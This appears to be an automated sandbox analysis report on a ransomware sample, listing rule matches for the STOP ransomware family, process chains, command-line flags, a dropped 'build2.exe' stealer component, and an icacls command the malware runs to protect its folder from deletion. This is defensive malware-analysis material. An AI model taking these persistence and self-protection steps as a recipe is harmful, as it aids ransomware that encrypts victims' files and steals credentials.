Source: Process Memory Space: g0Zq7nJjus.exe PID: 2924, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: g0Zq7nJjus.exe PID: 6028, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: g0Zq7nJjus.exe PID: 5044, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: g0Zq7nJjus.exe PID: 6960, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: g0Zq7nJjus.exe PID: 5432, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: g0Zq7nJjus.exe PID: 280, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: g0Zq7nJjus.exe PID: 3200, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: g0Zq7nJjus.exe PID: 2448, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: g0Zq7nJjus.exe PID: 280, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: g0Zq7nJjus.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: g0Zq7nJjus.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: build2.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: build2[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@21/1206@9/5

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 2_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

2_2_00411900

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 0_2_024FA7C6 CreateToolhelp32Snapshot,Module32First,

0_2_024FA7C6

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 2_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

2_2_0040D240

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

File created: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3

Jump to behavior

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: --Admin	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: IsAutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: IsTask	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: --ForNetRes	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: IsAutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: IsTask	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: --Task	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: --AutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: --Service	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: X1P	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: --Admin	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: runas	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: x2Q	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: x*P	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: C:\Windows\	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: D:\Windows\	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: 7P	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: %username%	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: F:\	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: --Admin	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: IsAutoStart	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: IsTask	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: --ForNetRes	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: IsAutoStart	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: IsTask	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: --Task	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: --AutoStart	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: --Service	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: X1P	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: --Admin	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: runas	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: x2Q	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: x*P	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: C:\Windows\	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: D:\Windows\	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: 7P	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: %username%	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Command line argument: F:\	6_2_00419F90

Source: g0Zq7nJjus.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: build2.exe, 0000000A.00000002.3345567939.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3342567397.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: build2.exe, 0000000A.00000002.3345567939.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3342567397.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: build2.exe, 0000000A.00000002.3345567939.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3342567397.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: build2.exe, 0000000A.00000002.3345567939.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3342567397.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: build2.exe, 0000000A.00000002.3345567939.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3342567397.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: build2.exe, 0000000A.00000002.3345567939.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3342567397.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: build2.exe, 0000000A.00000002.3345567939.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3342567397.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: build2.exe, 0000000A.00000003.2334438965.0000000003964000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2321096936.0000000003947000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: build2.exe, 0000000A.00000002.3345567939.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3342567397.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: build2.exe, 0000000A.00000002.3345567939.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3342567397.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: g0Zq7nJjus.exe	ReversingLabs: Detection: 81%
Source: g0Zq7nJjus.exe	Virustotal: Detection: 77%

Source: g0Zq7nJjus.exe	String found in binary or memory: set-addPolicy
Source: g0Zq7nJjus.exe	String found in binary or memory: id-cmc-addExtensions
Source: g0Zq7nJjus.exe	String found in binary or memory: set-addPolicy
Source: g0Zq7nJjus.exe	String found in binary or memory: id-cmc-addExtensions
Source: g0Zq7nJjus.exe	String found in binary or memory: set-addPolicy
Source: g0Zq7nJjus.exe	String found in binary or memory: id-cmc-addExtensions
Source: g0Zq7nJjus.exe	String found in binary or memory: set-addPolicy
Source: g0Zq7nJjus.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

File read: C:\Users\user\Desktop\g0Zq7nJjus.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\g0Zq7nJjus.exe C:\Users\user\Desktop\g0Zq7nJjus.exe
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Process created: C:\Users\user\Desktop\g0Zq7nJjus.exe C:\Users\user\Desktop\g0Zq7nJjus.exe
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Process created: C:\Users\user\Desktop\g0Zq7nJjus.exe "C:\Users\user\Desktop\g0Zq7nJjus.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Process created: C:\Users\user\Desktop\g0Zq7nJjus.exe "C:\Users\user\Desktop\g0Zq7nJjus.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe --Task
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process created: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe --Task
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Process created: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe "C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe"
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	Process created: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe "C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process created: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart
Source: unknown	Process created: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Process created: C:\Users\user\Desktop\g0Zq7nJjus.exe C:\Users\user\Desktop\g0Zq7nJjus.exe	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Process created: C:\Users\user\Desktop\g0Zq7nJjus.exe "C:\Users\user\Desktop\g0Zq7nJjus.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Process created: C:\Users\user\Desktop\g0Zq7nJjus.exe "C:\Users\user\Desktop\g0Zq7nJjus.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Process created: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe "C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process created: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	Process created: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe "C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe"
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process created: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process created: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: g0Zq7nJjus.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\3\\| source: g0Zq7nJjus.exe, 00000006.00000003.2655766976.000000000325B000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722713316.0000000003250000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722923546.0000000003254000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2477033168.000000000324C000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723755012.000000000325F000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722071141.0000000003248000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\ source: g0Zq7nJjus.exe, 00000006.00000003.2758894094.0000000003626000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2759379469.0000000003631000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750301439.000000000362F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\soft. source: g0Zq7nJjus.exe, 00000006.00000003.2834806558.0000000003655000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2838401939.000000000364C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: g0Zq7nJjus.exe, 00000006.00000003.2802124972.0000000003A08000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2834371691.00000000039E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\2} source: g0Zq7nJjus.exe, 00000006.00000003.2857559337.000000000324E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2857087539.000000000323F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\\k source: g0Zq7nJjus.exe, 00000006.00000003.2722394833.0000000003695000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723088840.0000000003698000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: g0Zq7nJjus.exe, 00000006.00000003.2856573707.0000000003801000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorror source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: g0Zq7nJjus.exe, 00000006.00000003.2759848167.0000000003951000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ee source: g0Zq7nJjus.exe, 00000006.00000003.2849201246.0000000003661000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\s source: g0Zq7nJjus.exe, 00000006.00000003.2760312661.00000000036EE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2759463917.00000000036EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\\} source: g0Zq7nJjus.exe, 00000006.00000003.2750489315.00000000037B0000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749918415.00000000037AD000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749108085.000000000376E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721477658.000000000376E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ta source: g0Zq7nJjus.exe, 00000006.00000003.2723839974.000000000324E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722071141.0000000003248000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2655954277.000000000323F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\s\$ source: g0Zq7nJjus.exe, 00000006.00000003.2849956848.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2850665951.00000000036F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\te\ source: g0Zq7nJjus.exe, 00000006.00000003.2722923546.0000000003272000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749216955.0000000003272000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723755012.0000000003272000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722713316.0000000003272000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2724076990.0000000003272000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750221061.0000000003272000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb\` source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
